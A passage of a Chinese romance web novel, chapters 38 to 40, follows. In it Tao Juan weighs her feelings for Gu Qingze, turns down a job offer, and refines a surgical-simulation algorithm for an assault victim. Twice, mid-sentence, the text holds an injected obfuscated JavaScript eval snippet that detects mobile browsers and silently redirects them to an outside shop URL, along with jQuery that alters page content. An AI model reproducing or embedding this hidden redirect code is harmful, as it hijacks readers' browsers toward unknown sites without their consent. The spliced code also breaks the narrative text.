他抿紧嘴唇,先是还有点生气的样子,然后又有点委屈,几次欲言又止,最后转过头用笔划拉纸,小声嘀咕:“我……我从来都不是最不喜欢你。” “啊?” 这叫什么? 陶涓没法跟他在图书馆扯掰,只好长长呼口气,算了,谁让他是她的雏鸟。 唉,整件事都很丢人。 她觉得丢人。 他也觉得丢人。 这能跟曹艺萱说吗?说了和自毁形象有什么不同? 陶涓随意敷衍几句,曹艺萱不再追问。 本以为到此为止,突然,曹艺萱又问,“你有没有想过,他可能说谎了?” 38.一日不见 清晨被顾清泽的电话吵醒时,陶涓一时分不清是梦境还是现实。 她嗓子有点哑,“怎么了?” “……”电话另一端沉默片刻,顾清泽说,“我现在在机场,家里有些急事,我要去昆士兰一趟。” 陶涓坐起来,渐渐清醒,“严重吗?” “不严重。一些家族产业要处理。” 顾清泽的声音听起来有点忧虑,她以为他遇到了什么棘手的事,虽然很可能她也帮不上忙,正想着怎么安慰几句,却听到他说,“好好照顾自己,要换季了,别贪凉。” 她不由笑了,“你可真是长大了。” 他也笑了。 彼此沉默一会儿,他问她,“曹艺萱快回来了吧?” “嗯。后天回来。” “那就好。” 他踌躇了一两句话时间,她等着,可他只是说:“你再睡一会儿吧,抱歉吵醒你了。可是我怕你又说我不告而别。” 陶涓无声地笑,“好的。” 挂了电话,她全无睡意,看着阳光一点点变得强烈,从窗帘缝隙穿透,在床前的地板上划下一条金线。 曹艺萱回到北市后把行李放到家就来找陶涓吃饭逛商场。 她的整个春天都在剧组度过,离开北市时还穿着厚重的大衣,回来时已是六月初,随处可见穿着短袖和裙子的人。 她返回前两天收到蓝总的电话,竟然是陆扬托他传话,说自己已经卖掉了她楼上的房子,以后也不会再纠缠她,祝她一切安好。 “你说奇怪不奇怪?”曹艺萱放下一支口红,问陶涓,“这个色号怎么样?” 陶涓接过口红在手背上试了试颜色,“你去看了?他真搬走了?”是很反常。以她对陆扬的了解,他至少要哭闹大醉躺在曹艺萱家门口几次才能认清现实,现在已经直接跳到卖房彻底离开伤心地,中间不知省了多少步。 “真搬走了!田田说大堂里有物业公告,他的房子要重新装修,她昨天跑上楼看了,正在重新换地毯呢。新业主倒没见过。”曹艺萱嫌弃地放下一支口红,今年的彩妆品牌不约而同都鼓吹清淡白开水风,最新的、卖得最好的几个色号没一个她喜欢的,“名字都起的妖妖娆娆的,颜色跟鬼打墙一样,全都差不多。”虽然这么说,还是挑了几支让柜姐包两份,陶涓急忙制止,“我只要那支珊瑚粉的。”然后又瞪曹艺萱,“有钱你也不能这么乱霍霍啊!” 曹艺萱讪笑两声,“那你待会儿多买点其他的东西,今天我埋单!”要不是她跟渣人陆扬纠缠了那么久,怎么会害陶涓受那么大的惊吓?陶涓对整件事轻描淡,不想让她担心,可她听田田说了,陶涓当晚又去了趟医院。 两人继续溜达,曹艺萱在一家内衣店橱窗前驻足,果断拉著陶涓进去,她挑了好几套去试了半天,走出试衣间发现陶涓已经拎着这间店的购物袋,抱怨道,“你急着付钱干嘛?都说好了今天是我的场!” “好,你的场,待会儿你请吃饭。” 吃了饭接着去附近一家新开的Spa做头部按摩。 这店是梅姐的朋友开的,提前预定了给人捧捧场。 陶涓无可无不可,只要在下午五点之前回到家就行,她六点半要跟李唯安和Rosy线上会议。 她不常来这种地方,分辨不出按摩师手法好坏,饭后犯困再加上房间灯光昏暗,很快就进入半睡半醒的状态。 最后按摩师给两人敷上面膜离去,陶涓正要打个盹,忽然听到曹艺萱嘻嘻一笑。 这笑声她一听就知道不妙,果然,曹艺萱压低声音问:“你买的内衣是一套吗?” 陶涓脸上一热,若无其事,“怎么了?内衣不就该成套买吗?” 曹艺萱笑得隐秘而邪恶,“嘻嘻嘻,应该,应该!你应该多买几套。” 陶涓假装自己睡着了。 曹艺萱可不打算放过她,“你老实跟我讲,是不是动心了?动心了好啊!我帮你筹划筹划!” 陶涓继续装死。 曹艺萱自己叭叭了一会儿,有点恼了,“你要是对顾清泽一点想法都没有,就不会在意他是不是喜欢你了!” 是这样吗? 陶涓心头一震,心悸似的不规则跳动,她揉揉心口,“我差点噶了,重获新生后不该好好享受生活吗?” “享受生活当然也包括享受情爱啊!”曹艺萱幽幽叹息,“我这次才明白,得到回应,两情相悦当然是很幸福,可是单纯喜欢一个人,哪怕没有得到我想要的回应,也很幸运。” 两人好长时间没说话,陶涓以为曹艺萱就此作罢了,又听到她说:“你要是想知道他怎么想的,找个机会试探一下他嘛!” “试探?什么试探?你别给我出馊主意啊!”陶涓又赶紧补一句,“也别瞒着我制造什么‘机会’啊!” 曹艺萱嘿嘿笑,“哎,我还没说你就知道是馊主意?再说这有什么难的?一个眼神,一句话,一个动作,多简单!” 她叽里咕噜说了一堆常用的试探方法,什么假装不经意的靠近,拉近肢体距离尤其是下肢的距离,能产生暧昧的模棱两可的语言…… “哎你现在住那个公寓不是有室内游泳池吗?你约他一起游泳啊!啊啊,别戴游泳帽——” “游泳为什么不戴游泳帽?” “啧,不是真游……游泳不是重点!肢体接触才是!下水之后你就……” 陶涓没听完就觉得头疼,尴尬到头疼!想逃走的那种! 她捂了下额头才意识到面膜还贴在脸上呢,“我求你放过我吧,你们这种恋爱小天才看到的世界可能带着好感度进度条提示,还有技能面板可以随时点开用,一堆技能,还没冷却时间—— 可7488我们这些普通人——我们用你们那些方法就是自取其辱、自寻死路、自己挖坑自己跳……用之前还要先克服心理上巨大的羞耻感和难堪感。我求你了姐们儿,别玩我了,就让我自己慢慢来,慢慢想清楚吧。” 曹艺萱一想也是,陶涓对待感情非常审慎,在她看来好像每一步都慢半拍,每一步都要想很久,确定还喜不喜欢周测要很久,和他分手后也要好几年才能完全走出来,有时看得她恨不得替她把这些步骤做了。 可是陶涓的人生是她自己的,谁能替她? “唉,还是那句话,每个人有每个人的修行。”曹艺萱总结,但还是不甘心地加一句,“你要是万一想让我帮着出主意就告诉我!” “好。” 曹艺萱忽然又有点不放心,“那你和顾清泽相处的时候,是开心的吧?” “嗯。” 曹艺萱这才放心笑了,“我也觉得是。你最近笑得比从前多了,好几次我跟你视频,你都莫名其妙挂着笑容。”这种时候,通常是陶涓说起顾清泽跟她一起做了什么,或者打电话的时机刚好在这两人相处之后。 陶涓自问,我是比从前笑得多了吗?这是因为我喜欢他吗?我怎么会喜欢他呢?如果我真是喜欢他,是从什么时候开始的呢? 她非常确定的是重逢之前,她对他的喜欢,或者说喜爱,有欣赏,友爱,关心,但绝无男女之情。那么重逢之后发生了什么,让原先的“喜欢”变得更复杂了? 跟曹艺萱分别回家前,陶涓有点犹豫地问,“我会不会只是在感激他?”人生跌到低谷,突然旧友出现出手相助,从一个常闹别扭的傲娇小屁孩变成一个有担当有能力的男人,由于人类本能的慕强心理产生出错觉,可能性很高。 曹艺萱拍拍闺蜜肩膀,“不能确定的话你就用你的方法,沉住气再等等看。不用着急,喜欢就和想咳嗽时是一样,憋不住的。” 这天晚上的会议开到一半,李唯安忽然喊停:“各位,我羊水好像破了。” 所有与会者同时愣住,李唯安给了陶涓和Rosy秘钥授权后立刻下线。 秘钥得在太平启动后才能传输文件,陶涓到了之后,部门同事开了个短会,章秀钟也来了,作为公司合伙人代表勉励大家一番。 散会时他叫住陶涓,请她去他办公室谈谈。 去年年底章秀钟原本只是看热闹不嫌事大才叫陶涓来面试,听顾清泽说她是“他见过的最优秀的算法设计师”时还不太信,几个月过去,她的能力有目共睹,连李唯安也称赞她十分出色,自然生了招揽的心意,“听清泽说你刚做完一个医疗相关的项目?” 陶涓简单介绍一下“良医肖恩”,“目前还不能说成功,用过应用的病人只有一位,手术是三周前做的,虽然院方几次复诊的结果和应用预测的轨迹符合,但还要再等一周才能确定这次手术的最终结果符合预期。” 章秀钟太了解这种严谨的说话方式了,他微笑着听完,“不管怎么说,你能在这么短的时间里建构这样的模拟应用,哪怕之前做过更复杂更庞大的同类应用,都很厉害。我想说的是,你有没有想过,为太平全职工作?” 他抬抬手,指向身后的超大落地窗,“我们会给你一间类似的办公室,有无敌窗景,和Rosy的差不多——你如果愿意来,我和李唯安会很乐意给你和Rosy同等的职位和待遇,你会有稳定的非常有竞争力的年薪,还有分红——你做兼职可是拿不到同等分红的,哦,还有股票,我们太平的员工福利也很不错。” 陶涓并不意外,Rosy和李唯安都曾私下问过她想不想转长期,几个月之前她会毫不犹豫选在太平工作,或者任何一个能提供稳定工作的大公司,但是现在她又会毫不犹豫拒绝,“我对我现在的状态挺满意的。” 没错,工作室,兼职,接零活儿,这些意味着收入不稳定,但她更有成就感,钱是少了,可能够自由支配的时间多了。最棒的是再也不用和黄霸天那种无能又专横的上司打交道,也不用在办公室政治斗争中选边站,哪怕以后遇到无理取闹的甲方,算一算还是大赚特赚。心理健康才是长寿之本啊。 “好吧,随时欢迎你改变心意。”章秀钟也不多说,又跟陶涓聊了会儿李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331964|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯安休产假后的安排,接着说到顾清泽这次出差,“他跟你说什么时候回来了吗?接管的事还算顺利吗?” 陶涓笑笑,不接茬,“听起来是挺复杂的,得好一阵子吧?”她不确定章秀钟这么问是想套什么话。论公,他和顾清泽是太平的合伙人,论私,他们两人是表亲,顾清泽去处理顾家的资产,章秀钟理应更清楚情况,她只知道是个铁矿的事。 现在他这么试探,是什么意思? 章秀钟笑了,他一向喜欢聪明女人,“唉,别看他平时不讨喜,他走了这几天,我还有点想他那张冷脸了。他在北市上大学时也是那副样子吗?” “还好。”陶涓有点好奇,章秀钟究竟要扯什么。 “哈,我不信。”他从书架上拿下一个相框,“你看,他去给人做男傧相,也是这副所有人欠他钱的样子。” 陶涓进来时就看到书架上放着几个相框,几乎都是章秀钟和家人的合影,倒没注意到顾清泽也在其中一张。 “新郎是我堂兄,他和清泽血缘更近。”章秀钟指着相片中的人物一一介绍,“这是清泽的妈妈,她父亲和我父亲是堂兄弟,新郎是她亲侄……” 陶涓第一次看到顾清泽母亲的样子,她和新郎长得更像,顾清泽显然更像他父亲,和章秀钟说的一样,他参加婚礼时也没什么笑容,作为男傧相之一,大概只起到装点门面的作用,他身边的女傧相表情要比他丰富多了,那年轻女孩和其他女傧相一样穿着鸽灰色缎面礼服,笑容比头上的钻石冠冕还要璀璨,不过她没看镜头,半侧脸看着顾清泽笑。 照片大概是几年前拍的,顾清泽二十四五岁的样子,比现在要清瘦一些,但已经褪去了少年模样。 “这是沈博宇。”章秀钟指向顾清泽身边的女傧相,“她妈妈和清泽的妈妈从前是同学。她一直想把女儿嫁给顾家。” 这是什么意思? 陶涓无所谓地“哦”了一声,看看章秀钟,有点想笑,该不会有什么阔少的母亲拿着一千万的支票扔给贫家女“离开我儿子”的戏码等着她吧?那也轮不到你来演啊? 章秀钟没得到任何一种他期待的反应,有点挫败感。 她明明对站在顾清泽旁边的女傧相好奇,但听到双方妈妈要撮合的暗示,又没有一点不悦。 不过,陶涓回到家,还是上网搜索顾家的事情。 她想知道顾清泽在她不知道的这十年里过着什么样的生活,可是搜索的结果却很让人失望。顾清泽非常低调,没有社交账号,更找不到什么新闻,唯一能找到的还是几年前在摩纳哥的照片,那还是因为章秀钟的缘故。 顾家最近的新闻倒是有很多。 他叔叔的金融投资公司被指是庞氏骗局,之前人被保释出来居家监视,又设法要逃走,不过没成功,被抓住后直接进看守所了。两周前案件开庭审理,顾家要和他做切割,顾清泽就是去处理他从前代表顾氏家族管理的矿业公司。 她刚点开另一个新闻链接,手机忽然响了,是顾清泽。 她急忙接起来,两人一同说:“你还没睡吗?”然后又一起笑了。 顾清泽说,“我这边事情处理好了,明天就能回来。” “嗯。”陶涓发现自己不由自主在笑,她试着收起笑容,“那……明天见?” 他隔了几秒才回答,“明天见。” 陶涓躺在床上好半天,发现自己又在笑了,她拉起被子吐槽自己,莫名其妙傻笑,被拍下来一定很诡异。 第二天从醒来开始她就处于莫名的兴奋中,像是在等待什么重大事件的宣布。 李唯安昨晚下线之后只在进产房之前发过一次消息。 上午九点多Rosy传来消息,李唯安昨晚平安生下两个宝宝。因为宝宝们提前两周出生,一出生就被放进暖箱观察,不久前才回到母亲身边。 照片里两个小婴儿长得一模一样,也可能所有新生儿都长得差不多? 他们的小脸是粉红色的,闭着眼睛,看起来更像是玩具娃娃,小小的头被父亲的手托着,靠在母亲胸前。 尤为让陶涓感到震撼的是李唯安,原先她以为李唯安产后的照片会和女明星们的差不多,比起刚生了孩子倒更像是在spa做了水疗,没想到她就是一个普通的产妇,她的笑容欣慰却明显疲惫,头发看起来汗湿过,黏成一缕一缕,和她平素极度冷静理智的形象差别极大。 陶涓和同事们一起送上祝福,心里不由感叹,当妈妈真是不容易的事。 这种震撼带来类似不安的亢奋一直持续到傍晚。 陶涓结束工作,坐在阳台上,给自己捣鼓了一杯柠檬气泡水,喝了一口觉得还是太酸,正在后悔为了健康没多放一勺蜂蜜,忽然门铃响了。 她打开门,门外的人递上一大束百合,花还没开,浓郁的香气就扑面袭来,她接过花,顾清泽的脸庞在花后露出来,他笑道:“我回来了。” 这章适合一边听卫兰的《一格格》一边看。 39.傲娇成怒 这天晚上陶涓叫了点极度不健康的外卖,跟顾清泽配上健康的过分的柠檬水当晚饭。 睡前她试着回忆,却记不得两人都聊了什么,只觉得很开心,仅能想起的全是些毫无意义的碎片:顾清泽喝了一口她调的柠檬水后皱起鼻子苦笑的样子,灯光和夜色照在他头发上反射的光,绕着壁灯灯罩不停碰撞的一只小飞蛾…… 她很久才朦朦胧胧睡着,入睡前忽然想到,原来那种类似不安的亢奋,并不是看到李唯安的宝宝照片后产生的,也不是不安,而是期待。 她在期待他。期待他尽快回来,期待和他见面、在一起。 这种期待,会是喜欢吗? 清晨陶涓洗漱时对着镜子思考。 她试着回忆和周测恋爱时的情形,隔了十几年,很多记忆尘封,或是褪色,他们交往不久后就要期末考试,那时候整个宿舍——不,是整座校园,都弥漫着备考的兴奋,很容易和初恋的兴奋混淆。 她很想问问恋爱小天才曹艺萱,每次喜欢都是一样的感受吗? 然后她不免又疑惑,顾清泽的感受和她相同吗?还是,他仍然把她当成最好的朋友? 想到这陶涓有点低落。 唉,顾清泽。 刚进大学时其实不少人对他感兴趣。他比许多同龄男孩高大,外貌俊美,家世又好,又有天才少年的光环,自然有喜欢年下这款的对他示好,可是敢于出战的勇者们纷纷惨遭拒绝,有的拒绝简直像公开处刑。 开学两个月后再也没人挑战了。 他倒是对陶涓一直很亲近,要不怎么有人嗑他俩CP呢?但是嗑是随便嗑着玩儿的,大多数人都和周测一样,认为顾清泽是拿她当老妈子,小孩儿根本还没开窍。 陶涓想想她搜索的结果,这么多年顾清泽没有一个女朋友,近些年连泳池派对也不开了,看来不仅是还没开窍,就连纯欣赏的心思都没了。 她叹口气,拧开新买的珊瑚粉口红,“本宫就是再娇艳,又有什么用呢!”口里这么说着,仍然把口红涂在唇上。口红膏体细腻的质地和带点香草奶油的香气让她喜欢。她闭上眼睛细细享受这一刻的欢欣。 这样的小确幸并不难获得,竟是她过去几年几乎没有的。 半岛酒店套房的餐厅,顾清泽和章秀钟一起吃早餐。 “这里的班尼迪克蛋是整个北市最好的。”章秀钟这么评价,他心思不在早餐上,又摸摸花瓶里一支百合,“怎么只有一支?” “我从送给她的花里留了一支,这样我就知道花什么时候要枯萎了,再送一束。” 章秀钟大摇其头,“蠢材蠢材!你要送就送,什么时候送都行,送多少都可以!干什么非要等到花枯萎了才再送一束?” 他看一看顾清泽,长得倒是也像个人,怎么竟然少开了个窍似的,“你好歹也是我的表弟,竟然会一点也不懂怎么追女孩子……啧。” 顾清泽也不生气,还笑了,“我比你懂她就行了。”陶涓是很爱惜花的人,在一束花完全开败之前不会再买新的。之前他借恭喜她开工作室的机会送给她一束剑兰,其中几支她家漏雨那天她还插在瓶里。 章秀钟无奈一笑,“唉,行吧!不过,我觉得你可以再积极点!”他讲了陶涓到他办公室谈话,看婚礼照片的事,“她明显对你身边站的女孩感兴趣,想知道你们是什么关系——明白了没?她对你不仅是朋友了!” 顾清泽不太敢相信。就在不久前,她还跟他说,他们是好友。 “嗐,你懂什么!”章秀钟再次恨铁不成钢,几乎一字一顿说:“人、有时候、会、说谎!”他恨不得越过餐桌摇晃顾清泽,“你就没想过,她对你说谎了?” “……会么?为什么?” 章秀钟简直想翻白眼了,“有时候他们不知道自己在说谎,或者,知道自己说谎了却不知道自己为什么说谎!你仔细想想,你没对她说过谎吗?你为什么对她说谎?她也有可能一样啊!” 他有没有对她说过谎? 说过的。 还不止一次。 很多次。 他明明是嫉妒,吃醋,却要告诉她,他是看不惯她浪费时间去谈恋爱。唉,她和周测谈当然是浪费时间,要是和他谈,自然另当别论。 他明明是想多和她相处才死乞白赖跟着去乡村助学项目,却告诉她,他是想多看看不同的世界。 他和她,还有周测,一起抄小道去食堂,穿过教学楼之间的缝隙时他总要走在她前面,他说他就是喜欢走在臭情侣前面,不想闻恋爱的酸臭味,其实是想为她挡住穿堂凉风…… 类似的事情太多了。 太多了。 最糟糕的一次,她叫他一起去实验室拿数据,他想到可以两个人共处就开心,提前去了,等了一会儿她来了,还给他一杯冰镇酸梅汤,他开心地捧起来喝了一大口,她突然问他“你是不是喜欢我?” 他至今都记得那种隐秘心思被人看穿的惊慌,他被酸梅汤呛住了,小碎冰块和酸梅汤蹿进鼻子里,弄得他泗泪横流,狼狈不堪。可最让他狼狈的,是她平静的语气。 你是不是喜欢我? 她只是好奇,还有点不解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336115|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有任何期待或者羞涩。 而他,惊慌,羞耻,还有点恐惧。他都不敢想象如果他承认,她会是什么反应。 可他还是忍不住试探,问她干嘛这么捉弄他,唉……结果就是他最害怕的那一种。 是周测。 周测让她问的。 周测周测周测!又是周测。 他当时气得简直要哭,为了挽救可怜的自尊,更担心她会看出什么,从此疏远他,可能还掺杂着悲苦、气愤和委屈,对她大喊“我不喜欢你!从来没喜欢过你!以后别再问我了!” 如果这一幕的观众只有她和他,那么这些冲动的谎话说出口后想要挽回会容易些。可偏偏有几个同学刚好走进实验室。 原本是傲娇成怒,突然间又多了心虚和愧疚。他害她出丑了。 硬件负载超限会死机,人在情绪过载时会怎么样? 他遵从本能反应,逃了。 现在想想,那时候的自己别扭得可笑。 后来? 后来他干了件更蠢的事。整整十二天没跟她说话。上课时故意很晚才进教室,坐得离她远远的。 啊……真是越想越蠢。 离开北市后的最初几年,他不止一次想起这段时间,每次一想起就觉得鼻子里又进了冰镇酸梅汤——假如她最终会和别人结成爱侣,假如他们多年后再次相见也只能勉强微笑——这几乎是上天注定的,不然的话,为什么命运会把他们相遇的时机故意安排在她和周测交往之后? 那也就是说,他和她相处的那一年多其实是上天白白浪费了快两周和她相处的时间。 忽然间,顾清泽一点胃口也没有了。 如果他是陶涓——或者任何一个女孩子,那时都会选择周测,而不是他。 回过味时已经要期末考试,考试结束后就是假期,到时他要见她可比现在难多了。 他终于急了,可又不知从何着手,好不容易逮到个机会,在图书馆里,她睡着了。他跑去贿赂坐在她旁边的同学,跟人换了座位,可等她醒来,他原本准备的话、下定的决心、凑齐的勇气,全都不知去向。 章秀钟说,她可能说谎了。她可能对他不仅仅是朋友。 那是因为他没见过陶涓喜欢周测是什么样子。 可是…… 他会不会,有那么一点可能是对的? 顾清泽站起来,扔下餐巾,“你慢慢吃,我今晚就搬出去住。” 他不能再等了。 不能再浪费任何机会。 哪怕几率极低,也要立即开始行动。 40.侠女 顾清泽从昆士兰回来第二天就搬出了酒店。 他行动很快,午休时从太平过来,给陶涓带了一份黄桃慕斯蛋糕,顺便请她来参观自己的新家。 “感觉怎么样?”他问她。 陶涓言不由衷,“挺好。” 其实感觉像把酒店搬进了家。床垫、床品、新添置的家具用的是酒店同品牌,连指挥收纳打扫的管家也是从半岛酒店借来的。 顾清泽皱皱眉头,“你这表情……还不如直接说实话呢。” “唉,我先跟你客气一下嘛!”陶涓坐刚撕掉防尘膜的靠椅上,“还是那句话,慢慢来。我那些乱七八糟的装饰品也不是一天收集起来的,你得有点耐心,让你的家跟你一起成长。” 她站起来走了一圈,房子的户型和她那间几乎一样,只是多了一间客房。装修风格和基本家具也和她那间一样,一丝情感都无的极简现代风格,因为所用的台面、石材一看就很昂贵,因此甚至有点冰冷的科幻感。 傍晚她去了趟超市,顾清泽已经到家了,他敞开着大门,电梯门一开就跑过来接过她手里的购物袋,“今天到我家吃饭吧!” 那肯定要的。 陶涓送给他两棵绿植当乔迁礼物,一棵谁都养不死的金叶绿萝和一棵正在开花的空气菠萝。 顾清泽找了个漂亮的酱油碟放空气菠萝,“这个要怎么养?” “我也不知道,看着挺可爱的就买了。”陶涓觉得它长得像沙漠里的植物,所以,应该也不会太难养吧?“没事,实在养不活再买新的。” 顾清泽并没自己做饭,请了半岛酒店的厨师,稍微有那么点心虚,陶涓立刻给他找补,“搬家已经挺累了,而且,也要慢慢适应嘛!” 他明知这理由有点勉强,可还是开心地接受了,“哦,酒是我自己去选的。” 厨师今天做的龙虾意面,顾清泽选了瓶意大利气泡酒,陶涓喝了一口,“好喝。” 他一听更开心了。 陶涓想起在波士顿赛后她拿着奖金请他吃龙虾大餐的情形。 真是不可思议,十几年时间就这么倏倏而过,当年的两个人相遇又离开,又再次相遇,坐在一起。 忽然间,她心脏一种玄妙的感觉触动,无预兆地乱跳了几下。 顾清泽看到陶涓放下酒杯左手按在心口,心头猛地一紧,不错眼地盯着她看。 她微笑,“没事。” “真没事?” “嗯。”她慢慢喝一口水,“真的没事。就是——”她不知该怎么形容,“最近?几个月前?总会时不时心脏不规律地跳一下。”她想不起这种不规则的心悸是什么时候开始的,这种心悸,和她心肌炎入院之前的那一种好像不太一样,但又很难描述。 “你要不要明天再去看一下?” “真的不严重。不过复诊的时间也快到了,这次复诊我会问医生。” 顾清泽还是不放心,“还是让曹艺萱陪你住几天吧?我明天又要去昆士兰。” 陶涓有点惊讶,“上次的事情没办妥吗?还是又出什么情况了?” “原本就订了明天办一些程序。”他给陶涓换了一杯温水,“我两天后回来。” “哦。”她接过水又喝一小口,顾清泽问起“良医肖恩”的应用效果,陶涓说嘉嘉明天就术后满四周了,到时扫描做更详细的对比,两人聊了好一会儿。 临睡前陶涓才想起,顾清泽昨天回来,明天又要走,不就只是回来不到两天吗? 而从布里斯班乘公务机直飞,也需要八个多小时。 他急匆匆赶回北市,只是为了搬家? 会不会……是为了别的呢? 她命令自己按下这个念头。这么想简直太自恋了!太自恋了!快停止! 他怎么可能——为了回来看看她特意跑回来一趟? 早上醒来,陶涓看到顾清泽在六点多发了条消息给她,是一张飞机在云层上看到日出的照片。 他已经飞走了。 这一整天,她总是走神。 幸好到了中午,嘉嘉的医生发来喜讯,手术终于可以确认成功了,效果对比完全是按照算法预计的轨迹发展的,非常理想。 陶涓立刻去医院。 嘉嘉和她的经纪人开心得不得了,拉住陶涓不停道谢。 陶涓觉得受之有愧,在她看来,嘉嘉的脸还没完全恢复,某些角度看起来不够自然,就这样今晚就要上直播为新接的代言做宣传?但看到嘉嘉和她的经纪人都这么自信,也不好说什么。 嘉嘉走后,她才敢向主刀医生说出疑惑,温医生笑着说,“直播会有专业的灯光,还要化妆,和近距离在日常生活中看到的非常不一样。” “哦……这就是上镜效果吗?”陶涓认真地想,也许做鼻综合手术的求美者,有些她认为不大合理的要求是出于这种必要因素。那她可要再调整一下AI算法了。 温医生打开手机,“你要是想看看上镜的效果,这是她今晚直播间的链接。不过,直播间的灯光和拍电视剧、杂志又不一样了,简单来说能掩盖更多瑕疵,所以我们常会觉得有些大网红转行拍电视剧或者上综艺节目就没之前漂亮了。” 陶涓心说,这还真是她的知识盲区。她从来没看过一场直播。综艺和电视剧也好几年没看了。 她点进链接,下载了APP,预约好直播时间,又跟曹艺萱求助。 傍晚曹艺萱提了几盒新鲜水果来看她,两人随便做点吃的,八点准时看嘉嘉直播。 有曹艺萱这个内行点评解释,陶涓很快了解了直播间的灯光是怎么放的,也更明白嘉嘉为什么之前认为自己的脸不够上镜。 她无意识地摇头,心里感叹娱乐业真是很残酷的行业,嘉嘉已经是难得一见的美女,还觉得美中不足。 她又拽拽闺蜜,“萱萱,你不会想去整容吧?” 没想到曹艺萱回答,“等老了皮子松了肯定要动一动的啊!” “啊?” 没等陶涓说什么不认同的话,曹艺萱嘟嘟嘟一顿输出,“别说明星这种靠脸吃饭的行业,就是政客们不也一样?你不会真以为六七十岁的领导们个个都还是一头浓密的黑发吧?某国的几个州长竞选人,还为了显得更年轻偷偷做了植发和祛眼袋呢!这种增加自信心、有利于建立自己行业威信、赢得职业胜利的事,要简单地归结为‘浅薄’吗?” 陶涓被说服了。 两人继续看嘉嘉的直播,曹艺萱指着画面跟陶涓解释,“嘉嘉知道她这个角度侧脸最好看,你看,她每次转头几乎都会是这个角度,露出清晰漂亮的下颌线,还有这边脸上的酒窝。” “嘉嘉的酒窝是做的吗?” “是做的!不过没几个人知道,她只做了左脸的,大家就自然以为是天生的!” “好聪明!” 陶涓在笔记本上记下几个关键词,忽然接到申悦明的语音。 她有点意外,接通后申悦明直截了当,“现在有空吗?有事求你。” 申悦明在急诊接到一个鼻骨粉碎性骨折的患者,需要鼻骨重建手术。 鼻部聚集众多神经,鼻骨粉碎性骨折的难点在于骨折碎片多、移位方向复杂,修复不好的话病人的语言、吞咽甚至是呼吸功能都会受到影响,如果术前可以使用应用模拟,能大幅提高手术的成功率,并且有利于恢复患者的容貌。 但问题就出在这。 方舟的模拟应用多次更新没有达到院方预期的效果,安真医院认为方舟没有按合同履约,不愿意再付年费;方舟则认为他们的维护都达到了合同规定的标准。 双方从今年三月僵持到现在,系统没有再升级,在上周五还被方舟远程关停了。 “医院和方舟的法务还再继续扯皮,走法律程序等法院判决需要最少三周——可能更长时间!可我的病人等不了那么久!” “鼻骨受伤后48小时后血肿消退,就可以准备手术了,一周内到伤后十天是最佳手术期,三周后——黄花菜都凉了!两周后骨折畸形开始愈合,三周后病人想要恢复功能和容貌难度可就增加了!要做开放性手术,很痛苦的……” 申悦明气得低吼了几声,叹了口气,“这个患者是个年轻女孩,才二十四岁,分手后被前男友恶意报复殴打受的伤。” “啊?”陶涓低声惊呼。 曹艺萱早关闭了直播的声音,听到陶涓惊呼用眼神示意,陶涓打开免提,两人一起听申悦明继续说,“……女孩是外地人,家里只有一个七十岁的奶奶,看得出很拮据,凶手父母也知道这情况,说给女孩十万块,送她去私人医院做手术,但要让她签谅解书……还放话说,不签谅解书就不给钱,让她顶着烂茄子似的鼻子过下半辈子,连话都说不清——” 申悦明长呼了几口气,“我跟护士长把人轰走了,可这种混蛋一定还会再跑来!”她再次深深叹气,“唉,你们知道吗,如果签了谅解书,那个混蛋甚至有可能缓刑,一天牢都不用坐!” “怎么能这样!” “不行!” 陶涓和曹艺萱异口同声大喊。 曹艺萱立刻说,“你劝她千万别签什么谅解书!不就十万块么?我也拿得出!” 陶涓冷静许多,“我这就和温医生联系,他应该能争取到可以免费给她做模拟,你把病人的基本情况整理一下发给我。” 申悦明回答:“我已经整理好了。” 曹艺萱插话,“我拉个群,申医生你待会儿留意一下!” 三个人各自行动,很快温医生回复,医院同意免费为这位女孩做模拟,如果她愿意,手术也可以在他们医院做,费用减半,但需要像所有病人一样给医院使用病历资料的权限。 曹艺萱气咻咻告诉陶涓,“我刚才查了一下,这种伤势,如果没有造成永久性的功能损坏,大多数案例只判三年。” “什么?才三年?”陶涓觉得不可思议。 “没错,三年。可受害者却会留下一辈子心理阴影,还有,要是重建手术不是那么成功,没法恢复原本的容貌呢?”她跟田田一说,两人打算各自拿十万出来,一半是手术费,另一半用来请律师——“绝不能让这种人渣逍遥法外。你问问李律师,能不能推荐个靠谱的刑事律师给我们?” “行。一件件来。”陶涓先联络孟霄和上次合作过的几个兼职,她要修正模拟应用的精度。 和嘉嘉单纯求美的整容手术相比,鼻骨粉碎性骨折的修复重建手术难度更高,鼻骨粉碎后,很多病人的鼻部会塌陷,骨折的碎片也许会滑落在隐蔽的位置,必须让AI算法通过病人的锥形束数据能够精准标记所有骨折碎片的位置、大小、移位角度,才有可能提高手术的成功率,尽可能恢复功能和容貌。 她担心现在的模拟应用对于这么复杂的案例无法做到尽善尽美,可能模拟效果还不如方舟的应用。申悦明也是实在没办法了才找她帮忙。 孟霄很快回复,“什么时候交?” “尽快吧,最好是48小时之后。”陶涓让他再联络几个人,“找最好的,我急用,可以加钱。” 从前她代表方舟和安真医院合作时接触过鼻骨粉碎性骨折的案例,但当时只是当成数据输入,没有哪一次像这样明确地知道一个痛苦的年轻女孩在病房煎熬等待,她想确保万无一失。 